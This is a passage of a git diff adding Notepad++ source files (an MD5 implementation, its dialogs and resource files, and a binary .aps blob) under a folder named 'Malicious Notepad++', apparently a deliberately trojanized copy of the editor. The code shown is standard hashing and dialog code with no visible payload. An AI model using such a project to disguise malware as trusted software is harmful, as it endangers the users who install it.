S12, 0x8b44f7af); /* 10 */ + FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */ + FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */ + FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */ + FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */ + FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */ + FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */ + + /* Round 2 */ + GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */ + GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */ + GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */ + GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */ + GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */ + GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */ + GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */ + GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */ + GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */ + GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */ + GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */ + GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */ + GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */ + GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */ + GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */ + GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */ + + /* Round 3 */ + HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */ + HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */ + HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */ + HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */ + HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */ + HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */ + HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */ + HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */ + HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */ + HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */ + HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */ + HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */ + HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */ + HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */ + HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */ + HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */ + + /* Round 4 */ + II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */ + II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */ + II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */ + II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */ + II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */ + II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */ + II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */ + II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */ + II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */ + II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */ + II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */ + II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */ + II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */ + II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */ + II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */ + II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */ + + state[0] += a; + state[1] += b; + state[2] += c; + state[3] += d; + + // Zeroize sensitive information. + memset((POINTER)x, 0, sizeof (x)); + } + + // Encodes input (UINT4) into output (unsigned char). Assumes len is + // a multiple of 4. + static void Encode( unsigned char *output, UINT4 *input, unsigned int len ) + { + unsigned int i, j; + + for (i = 0, j = 0; j < len; i++, j += 4) { + output[j] = (unsigned char)(input[i] & 0xff); + output[j+1] = (unsigned char)((input[i] >> 8) & 0xff); + output[j+2] = (unsigned char)((input[i] >> 16) & 0xff); + output[j+3] = (unsigned char)((input[i] >> 24) & 0xff); + } + } + + // Decodes input (unsigned char) into output (UINT4). Assumes len is + // a multiple of 4. + static void Decode( UINT4 *output, unsigned char *input, unsigned int len ) + { + unsigned int i, j; + + for (i = 0, j = 0; j < len; i++, j += 4) + output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) | + (((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24); + } + #pragma endregion + + +public: + // MAIN FUNCTIONS + MD5() + { + Init() ; + } + + // MD5 initialization. Begins an MD5 operation, writing a new context. + void Init() + { + context.count[0] = context.count[1] = 0; + + // Load magic initialization constants. + context.state[0] = 0x67452301; + context.state[1] = 0xefcdab89; + context.state[2] = 0x98badcfe; + context.state[3] = 0x10325476; + } + + // MD5 block update operation. Continues an MD5 message-digest + // operation, processing another message block, and updating the + // context. + void Update( + unsigned char *input, // input block + unsigned int inputLen ) // length of input block + { + unsigned int i, index, partLen; + + // Compute number of bytes mod 64 + index = (unsigned int)((context.count[0] >> 3) & 0x3F); + + // Update number of bits + if ((context.count[0] += ((UINT4)inputLen << 3)) + < ((UINT4)inputLen << 3)) + context.count[1]++; + context.count[1] += ((UINT4)inputLen >> 29); + + partLen = 64 - index; + + // Transform as many times as possible. + if (inputLen >= partLen) { + memcpy((POINTER)&context.buffer[index], (POINTER)input, partLen); + MD5Transform (context.state, context.buffer); + + for (i = partLen; i + 63 < inputLen; i += 64) + MD5Transform (context.state, &input[i]); + + index = 0; + } + else + i = 0; + + /* Buffer remaining input */ + memcpy((POINTER)&context.buffer[index], (POINTER)&input[i], inputLen-i); + } + + // MD5 finalization. Ends an MD5 message-digest operation, writing the + // the message digest and zeroizing the context. + // Writes to digestRaw + void Final() + { + unsigned char bits[8]; + unsigned int index, padLen; + + // Save number of bits + Encode( bits, context.count, 8 ); + + // Pad out to 56 mod 64. + index = (unsigned int)((context.count[0] >> 3) & 0x3f); + padLen = (index < 56) ? (56 - index) : (120 - index); + Update( PADDING, padLen ); + + // Append length (before padding) + Update( bits, 8 ); + + // Store state in digest + Encode( digestRaw, context.state, 16); + + // Zeroize sensitive information. + memset((POINTER)&context, 0, sizeof (context)); + + writeToString() ; + } + + /// Buffer must be 32+1 (nul) = 33 chars long at least + void writeToString() + { + int pos ; + + for( pos = 0 ; pos < 16 ; pos++ ) + sprintf( digestChars+(pos*2), "%02x", digestRaw[pos] ) ; + } + + +public: + // an MD5 digest is a 16-byte number (32 hex digits) + BYTE digestRaw[ 16 ] ; + + // This version of the digest is actually + // a "printf'd" version of the digest. + char digestChars[ 33 ] ; + + /// Load a file from disk and digest it + // Digests a file and returns the result. + char* digestFile(const char *filename) + { + Init() ; + + FILE *file; + + int len; + unsigned char buffer[1024] ; + + if ((file = fopen(filename, "rb")) == NULL) + { + //printf("%s can't be opened\n", filename); + return NULL; + } + else + { + while ((len = static_cast(fread( buffer, 1, 1024, file )) ) != 0) + Update( buffer, len ) ; + Final(); + + fclose( file ); + } + + return digestChars ; + } + + /// Digests a byte-array already in memory + char* digestMemory( BYTE *memchunk, int len ) + { + Init() ; + Update( memchunk, len ) ; + Final() ; + + return digestChars ; + } + + // Digests a string and prints the result. + char* digestString(const char *string ) + { + Init() ; + Update( (unsigned char*)string, static_cast(strlen(string)) ) ; + Final() ; + + return digestChars ; + } +} ; + +#endif \ No newline at end of file diff --git a/Malicious Notepad++/src/MISC/md5/md5Dlgs.cpp b/Malicious Notepad++/src/MISC/md5/md5Dlgs.cpp new file mode 100644 index 0000000..a6b572c --- /dev/null +++ b/Malicious Notepad++/src/MISC/md5/md5Dlgs.cpp @@ -0,0 +1,266 @@ +//this file is part of notepad++ +//Copyright (C)2016 Don HO +// +//This program is free software; you can redistribute it and/or +//modify it under the terms of the GNU General Public License +//as published by the Free Software Foundation; either +//version 2 of the License, or (at your option) any later version. +// +//This program is distributed in the hope that it will be useful, +//but WITHOUT ANY WARRANTY; without even the implied warranty of +//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +//GNU General Public License for more details. +// +//You should have received a copy of the GNU General Public License +//along with this program; if not, write to the Free Software +//Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "md5.h" +#include "md5Dlgs.h" +#include "md5Dlgs_rc.h" +#include "FileDialog.h" +#include "Parameters.h" +#include + +INT_PTR CALLBACK MD5FromFilesDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM /*lParam*/) +{ + switch (message) + { + case WM_INITDIALOG: + { + int fontDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(13); + HFONT hFont = ::CreateFontA(fontDpiDynamicalHeight, 0, 0, 0, 0, FALSE, FALSE, FALSE, ANSI_CHARSET, + OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, + DEFAULT_PITCH | FF_DONTCARE, "Courier New"); + ::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_PATH_EDIT), WM_SETFONT, reinterpret_cast(hFont), TRUE); + ::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_RESULT_EDIT), WM_SETFONT, reinterpret_cast(hFont), TRUE); + } + return TRUE; + + case WM_COMMAND : + { + switch (wParam) + { + case IDCANCEL : + display(false); + return TRUE; + + case IDOK : + { + return TRUE; + } + + case IDC_MD5_FILEBROWSER_BUTTON: + { + FileDialog fDlg(_hSelf, ::GetModuleHandle(NULL)); + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); + + if (stringVector *pfns = fDlg.doOpenMultiFilesDlg()) + { + std::wstring files2check, md5resultStr; + for (auto it = pfns->begin(); it != pfns->end(); ++it) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char *path = wmc->wchar2char(it->c_str(), CP_ACP); + + MD5 md5; + char *md5Result = md5.digestFile(path); + + if (md5Result) + { + files2check += *it; + files2check += TEXT("\r\n"); + + wchar_t* fileName = ::PathFindFileName(it->c_str()); + md5resultStr += wmc->char2wchar(md5Result, CP_ACP); + md5resultStr += TEXT(" "); + md5resultStr += fileName; + md5resultStr += TEXT("\r\n"); + } + } + + if (not files2check.empty() && not md5resultStr.empty()) + { + ::SetDlgItemText(_hSelf, IDC_MD5_PATH_EDIT, files2check.c_str()); + ::SetDlgItemText(_hSelf, IDC_MD5_RESULT_EDIT, md5resultStr.c_str()); + } + } + } + return TRUE; + + case IDC_MD5_TOCLIPBOARD_BUTTON: + { + int len = static_cast(::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_RESULT_EDIT), WM_GETTEXTLENGTH, 0, 0)); + if (len) + { + wchar_t *rStr = new wchar_t[len+1]; + ::GetDlgItemText(_hSelf, IDC_MD5_RESULT_EDIT, rStr, len + 1); + str2Clipboard(rStr, _hSelf); + delete[] rStr; + } + } + return TRUE; + + default : + break; + } + } + } + return FALSE; +} + +void MD5FromFilesDlg::doDialog(bool isRTL) +{ + if (!isCreated()) + create(IDD_MD5FROMFILES_DLG, isRTL); + + // Adjust the position in the center + goToCenter(); + //::SetFocus(::GetDlgItem(_hSelf, IDC_COMBO_RUN_PATH)); +}; + +void MD5FromTextDlg::generateMD5() +{ + int len = static_cast(::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_TEXT_EDIT), WM_GETTEXTLENGTH, 0, 0)); + if (len) + { + wchar_t *text = new wchar_t[len + 1]; + ::GetDlgItemText(_hSelf, IDC_MD5_TEXT_EDIT, text, len + 1); + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char *newText = wmc->wchar2char(text, SC_CP_UTF8); + + MD5 md5; + char* md5Result = md5.digestString(newText); + ::SetDlgItemTextA(_hSelf, IDC_MD5_RESULT_FOMTEXT_EDIT, md5Result); + + delete[] text; + } + else + { + ::SetDlgItemTextA(_hSelf, IDC_MD5_RESULT_FOMTEXT_EDIT, ""); + } +} + +void MD5FromTextDlg::generateMD5PerLine() +{ + int len = static_cast(::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_TEXT_EDIT), WM_GETTEXTLENGTH, 0, 0)); + if (len) + { + wchar_t *text = new wchar_t[len + 1]; + ::GetDlgItemText(_hSelf, IDC_MD5_TEXT_EDIT, text, len + 1); + + std::wstringstream ss(text); + std::wstring aLine; + std::string result; + MD5 md5; + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + while (std::getline(ss, aLine)) + { + // getline() detect only '\n' but not "\r\n" under windows + // this hack is to walk around such bug + if (aLine.back() == '\r') + aLine = aLine.substr(0, aLine.size() - 1); + + if (aLine.empty()) + result += "\r\n"; + else + { + const char *newText = wmc->wchar2char(aLine.c_str(), SC_CP_UTF8); + char* md5Result = md5.digestString(newText); + result += md5Result; + result += "\r\n"; + } + } + delete[] text; + ::SetDlgItemTextA(_hSelf, IDC_MD5_RESULT_FOMTEXT_EDIT, result.c_str()); + } + else + { + ::SetDlgItemTextA(_hSelf, IDC_MD5_RESULT_FOMTEXT_EDIT, ""); + } +} + +INT_PTR CALLBACK MD5FromTextDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM /*lParam*/) +{ + switch (message) + { + case WM_INITDIALOG: + { + int fontDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(13); + HFONT hFont = ::CreateFontA(fontDpiDynamicalHeight, 0, 0, 0, 0, FALSE, FALSE, FALSE, ANSI_CHARSET, + OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, + DEFAULT_PITCH | FF_DONTCARE, "Courier New"); + ::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_TEXT_EDIT), WM_SETFONT, reinterpret_cast(hFont), TRUE); + ::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_RESULT_FOMTEXT_EDIT), WM_SETFONT, reinterpret_cast(hFont), TRUE); + } + return TRUE; + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE && LOWORD(wParam) == IDC_MD5_TEXT_EDIT) + { + if (isCheckedOrNot(IDC_MD5_EACHLINE_CHECK)) + { + generateMD5PerLine(); + } + else + { + generateMD5(); + } + } + + switch (wParam) + { + case IDCANCEL : + display(false); + return TRUE; + + case IDOK : + { + return TRUE; + } + + case IDC_MD5_EACHLINE_CHECK: + { + if (isCheckedOrNot(IDC_MD5_EACHLINE_CHECK)) + { + generateMD5PerLine(); + } + else + { + generateMD5(); + } + + } + return TRUE; + + case IDC_MD5_FROMTEXT_TOCLIPBOARD_BUTTON: + { + int len = static_cast(::SendMessage(::GetDlgItem(_hSelf, IDC_MD5_RESULT_FOMTEXT_EDIT), WM_GETTEXTLENGTH, 0, 0)); + if (len) + { + wchar_t *rStr = new wchar_t[len+1]; + ::GetDlgItemText(_hSelf, IDC_MD5_RESULT_FOMTEXT_EDIT, rStr, len + 1); + str2Clipboard(rStr, _hSelf); + delete[] rStr; + } + } + return TRUE; + + default : + break; + } + } + } + return FALSE; +} + +void MD5FromTextDlg::doDialog(bool isRTL) +{ + if (!isCreated()) + create(IDD_MD5FROMTEXT_DLG, isRTL); + + // Adjust the position in the center + goToCenter(); + //::SetFocus(::GetDlgItem(_hSelf, IDC_COMBO_RUN_PATH)); +}; diff --git a/Malicious Notepad++/src/MISC/md5/md5Dlgs.h b/Malicious Notepad++/src/MISC/md5/md5Dlgs.h new file mode 100644 index 0000000..fd8bfd0 --- /dev/null +++ b/Malicious Notepad++/src/MISC/md5/md5Dlgs.h @@ -0,0 +1,48 @@ +//this file is part of notepad++ +//Copyright (C)2016 Don HO +// +//This program is free software; you can redistribute it and/or +//modify it under the terms of the GNU General Public License +//as published by the Free Software Foundation; either +//version 2 of the License, or (at your option) any later version. +// +//This program is distributed in the hope that it will be useful, +//but WITHOUT ANY WARRANTY; without even the implied warranty of +//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +//GNU General Public License for more details. +// +//You should have received a copy of the GNU General Public License +//along with this program; if not, write to the Free Software +//Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "StaticDialog.h" + + +class MD5FromFilesDlg : public StaticDialog +{ +public : + MD5FromFilesDlg() : StaticDialog() {}; + + void doDialog(bool isRTL = false); + virtual void destroy() {}; + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class MD5FromTextDlg : public StaticDialog +{ +public : + MD5FromTextDlg() : StaticDialog() {}; + + void doDialog(bool isRTL = false); + virtual void destroy() {}; + void generateMD5(); + void generateMD5PerLine(); + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + diff --git a/Malicious Notepad++/src/MISC/md5/md5Dlgs.rc b/Malicious Notepad++/src/MISC/md5/md5Dlgs.rc new file mode 100644 index 0000000..f32f654 --- /dev/null +++ b/Malicious Notepad++/src/MISC/md5/md5Dlgs.rc @@ -0,0 +1,47 @@ +/* +this file is part of notepad++ +Copyright (C)2016 Don HO < don.h@free.fr > + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either +version 2 of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +*/ + +#include +#include "md5Dlgs_rc.h" + +IDD_MD5FROMFILES_DLG DIALOGEX 0, 0, 357, 213 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Generate MD5 digest from files" +FONT 8, "MS Shell Dlg", 400, 0, 0x1 +BEGIN + EDITTEXT IDC_MD5_PATH_EDIT, 9,21,263,64, ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL | WS_HSCROLL, WS_EX_CLIENTEDGE + PUSHBUTTON "Choose files to generate MD5...",IDC_MD5_FILEBROWSER_BUTTON,278,21,76,28, BS_MULTILINE + EDITTEXT IDC_MD5_RESULT_EDIT,9,105,262,64,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL | WS_HSCROLL, WS_EX_CLIENTEDGE + PUSHBUTTON "Copy to Clipboard",IDC_MD5_TOCLIPBOARD_BUTTON,278,105,76,28,BS_MULTILINE + PUSHBUTTON "Close",IDCANCEL,148,188,60,14 +END + +IDD_MD5FROMTEXT_DLG DIALOGEX 0, 0, 357, 213 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Generate MD5 digest" +FONT 8, "MS Shell Dlg", 400, 0, 0x1 +BEGIN + EDITTEXT IDC_MD5_TEXT_EDIT, 9,21,263,64, ES_MULTILINE | ES_AUTOVSCROLL | NOT WS_BORDER | WS_VSCROLL | WS_HSCROLL, WS_EX_CLIENTEDGE + CONTROL "Treat each line as a separate string", IDC_MD5_EACHLINE_CHECK, "Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP, 278,21,76,28 + EDITTEXT IDC_MD5_RESULT_FOMTEXT_EDIT,9,105,262,64,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL | WS_HSCROLL, WS_EX_CLIENTEDGE + PUSHBUTTON "Copy to Clipboard",IDC_MD5_FROMTEXT_TOCLIPBOARD_BUTTON,278,105,76,28,BS_MULTILINE + PUSHBUTTON "Close",IDCANCEL,148,188,60,14 +END diff --git a/Malicious Notepad++/src/MISC/md5/md5Dlgs_rc.h b/Malicious Notepad++/src/MISC/md5/md5Dlgs_rc.h new file mode 100644 index 0000000..0cad29c --- /dev/null +++ b/Malicious Notepad++/src/MISC/md5/md5Dlgs_rc.h @@ -0,0 +1,30 @@ +/* +this file is part of notepad++ +Copyright (C)2016 Don HO < don.h@free.fr > + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either +version 2 of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +*/ + +#define IDD_MD5FROMFILES_DLG 1920 + #define IDC_MD5_PATH_EDIT (IDD_MD5FROMFILES_DLG + 1) + #define IDC_MD5_FILEBROWSER_BUTTON (IDD_MD5FROMFILES_DLG + 2) + #define IDC_MD5_RESULT_EDIT (IDD_MD5FROMFILES_DLG + 3) + #define IDC_MD5_TOCLIPBOARD_BUTTON (IDD_MD5FROMFILES_DLG + 4) + +#define IDD_MD5FROMTEXT_DLG 1930 + #define IDC_MD5_TEXT_EDIT (IDD_MD5FROMTEXT_DLG + 1) + #define IDC_MD5_EACHLINE_CHECK (IDD_MD5FROMTEXT_DLG + 2) + #define IDC_MD5_RESULT_FOMTEXT_EDIT (IDD_MD5FROMTEXT_DLG + 3) + #define IDC_MD5_FROMTEXT_TOCLIPBOARD_BUTTON (IDD_MD5FROMTEXT_DLG + 4) diff --git a/Malicious Notepad++/src/Notepad_plus.aps b/Malicious Notepad++/src/Notepad_plus.aps new file mode 100644 index 0000000000000000000000000000000000000000..649990714afb0b83ab2c8d3388b19b558c40a426 GIT binary patch literal 645524 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 